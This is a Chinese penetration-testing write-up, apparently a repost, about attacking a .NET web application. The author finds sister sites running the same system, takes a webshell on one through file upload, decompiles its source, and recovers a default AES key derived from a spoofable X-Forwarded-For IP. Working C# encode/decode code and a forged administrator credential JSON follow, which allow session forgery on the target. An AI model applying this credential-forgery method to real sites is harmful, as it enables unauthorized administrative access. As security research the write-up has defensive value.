seo优化_前端开发_渗透技术让渗透从黑盒变为“灰盒”
0x01 前言
在进行渗透测试时，经常会遇到一些比较讨厌的问题。例如：没有账号、注册的账号功能有限、不知道后台在哪等等。下面会讲述一种解决思路
网站的底部通常会有备案、主办单位、承办单位、技术支持等信息。通过“技术支持”这样的关键字可以在搜索引擎中找到与目标应用相同的网站，对这些网站进行的简单的渗透。利用从这些网站上获取的漏洞信息，再去攻击目标网站，往往可以获取很大的收益。
0x02 案例
在目标网站下方发现“技术支持”关键字
利用FOFA搜索关键字，发现相同的系统应用，下文统称为A网站
对A网站进行渗透测试发现存在一处任意文件上传，很简单的就获取了一个WebShell
注：原来目标网站也有任意文件只不过修复了
在WEB目录下存在Log文件夹且命名方式可以爆破
把这个漏洞信息利用到目标网站去，访问/Log/2020/返回403，说明目录存在
但是利用发现的命名规则以及常见的命名规则进行爆破，并没有成功。可惜了….
跳过这个日志这个点继续渗透，发现用户的登录凭证很有特征，像是AES或者DES加密
既然是AES或者DES加密那么密钥肯定在配置文件中或者源码中，于是把A网站的源码打包下载。由于是.Net的网站所以还要用ILSpy反编译dll文件查看源码
定位到登录口，发现了加密算法为AES
跟进AES.Encode函数，发现其密钥获取方式：”xxxxx”+IP
Utils.GetClientIP()获取的是XFF头，所以也是可控的
然后我就写了一个Decode进行一个验证
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Security.Cryptography;
using System.IO;
using System.Text;
public class AES
{
public static byte[] Keys = new byte[16]
{
65,
114,
101,
121,
111,
117,
109,
121,
83,
110,
111,
119,
109,
97,
110,
63
};
public static string GetSubString(string p_SrcString, int p_StartIndex, int p_Length, string p_TailString)
{
string result = p_SrcString;
byte[] bytes = Encoding.UTF8.GetBytes(p_SrcString);
char[] chars = Encoding.UTF8.GetChars(bytes);
foreach (char c in chars)
{
if ((c > 'ࠀ' && c < '一') || (c > '가' && c < '힣'))
{
if (p_StartIndex >= p_SrcString.Length)
{
return "";
}
return p_SrcString.Substring(p_StartIndex, (p_Length + p_StartIndex > p_SrcString.Length) ? (p_SrcString.Length - p_StartIndex) : p_Length);
}
}
if (p_Length >= 0)
{
byte[] bytes2 = Encoding.Default.GetBytes(p_SrcString);
if (bytes2.Length > p_StartIndex)
{
int num = bytes2.Length;
if (bytes2.Length > p_StartIndex + p_Length)
{
num = p_Length + p_StartIndex;
}
else
{
p_Length = bytes2.Length - p_StartIndex;
p_TailString = "";
}
int num2 = p_Length;
int[] array = new int[p_Length];
byte[] array2 = null;
int num3 = 0;
for (int j = p_StartIndex; j < num; j++)
{
if (bytes2[j] > 127)
{
num3++;
if (num3 == 3)
{
num3 = 1;
}
}
else
{
num3 = 0;
}
array[j] = num3;
}
if (bytes2[num - 1] > 127 && array[p_Length - 1] == 1)
{
num2 = p_Length + 1;
}
array2 = new byte[num2];
Array.Copy(bytes2, p_StartIndex, array2, 0, num2);
result = Encoding.Default.GetString(array2);
result += p_TailString;
}
}
return result;
}
public static string Encode(string encryptString, string encryptKey)
{
encryptKey = GetSubString(encryptKey, 0, 32, "");
encryptKey = encryptKey.PadRight(32, ' ');
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = Encoding.UTF8.GetBytes(encryptKey.Substring(0, 32));
rijndaelManaged.IV = Keys;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
byte[] bytes = Encoding.UTF8.GetBytes(encryptString);
byte[] inArray = cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length);
return Convert.ToBase64String(inArray);
}
public static string Decode(string decryptString, string decryptKey)
{
try
{
decryptKey = GetSubString(decryptKey,0, 32, "");
decryptKey = decryptKey.PadRight(32, ' ');
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = Encoding.UTF8.GetBytes(decryptKey);
rijndaelManaged.IV = Keys;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
byte[] array = Convert.FromBase64String(decryptString);
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
return Encoding.UTF8.GetString(bytes);
}
catch
{
return "";
}
}
public static string Encode(string encryptString)
{
// 密钥
return Encode(encryptString, "xxxxxx" + "127.0.0.1");
}
public static string Decode(string decryptString)
{
// 密钥
return Decode(decryptString, "xxxxxx" + "127.0.0.1");
}
public static void Main(string[] args){
// 解密用户凭证
System.Console.WriteLine(Decode("xxxxx"));
}
}
验证步骤如下：
- 修改XFF头为127.0.0.1
- 随便注册个账号，登录目标网站，获取凭证
- 用Decode解密用户凭证
最终成功解密了，这说明目标网站用的也是默认的加密密钥，所以存在用户凭证伪造（任意用户登陆）
伪造普通用户危害总是有限的。所以继续查看代码，发现管理员凭证使用也是同一种加密方式
修改Cookie为Weiyum访问目标网站后台，结果返回没有权限
进入Admin的基类查看，原来是根据用户的ID做了权限检测
怎样获取管理的ID呢？通常一款后台应用初始肯定是有一个默认的管理用户的，那么他的ID应该不是随机的。通过之前获取A网站的WebShell查询数据库，得知默认的AdmidID为ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a
然后用伪造用户信息
{
"Type": 0,
"UserName": "71000019780612618X",
"RealName": "邵霞",
"Email": "test@qq.com",
"Tel": "13888888888",
"IDCard": "71000019780612618X",
"Password": "ce1c1cdc2fac8e1167f22cd4bd88d324",
"PasswordWay": "M",
"Remark": "",
"Avatar": "/Public/static/face/default_head_50.png",
"Gender": 0,
"Minority": "",
"NativePlace": "",
"Birth": "0001-01-01T00:00:00",
"ID": "ba2fxxxxxxxxxxxxxxxxxxxxxxxxd49e21a",
"CreateBy": "邵霞",
"CreateOn": "2020-08-02T01:56:26",
"UpdateBy": "",
"UpdateOn": null,
"Status": 1,
"IsAdd": false
}
利用Encode生成加密后的用户凭证
public static void Main(string[] args){
System.Console.WriteLine(Encode("xxxx"));
}
重新修改Weiyum，成功伪造管理员身份
0x03 总结
- 利用网站的技术支持信息去搜寻相同的应用，然后对其进行渗透，尝试获取有用的漏洞信息
- 通常可以尝试获取默认的密码规则，默认的日志、备份规则、默认的加密密钥
- 如果有条件可以下载源码，对其进行代码审计
转自：先知社区
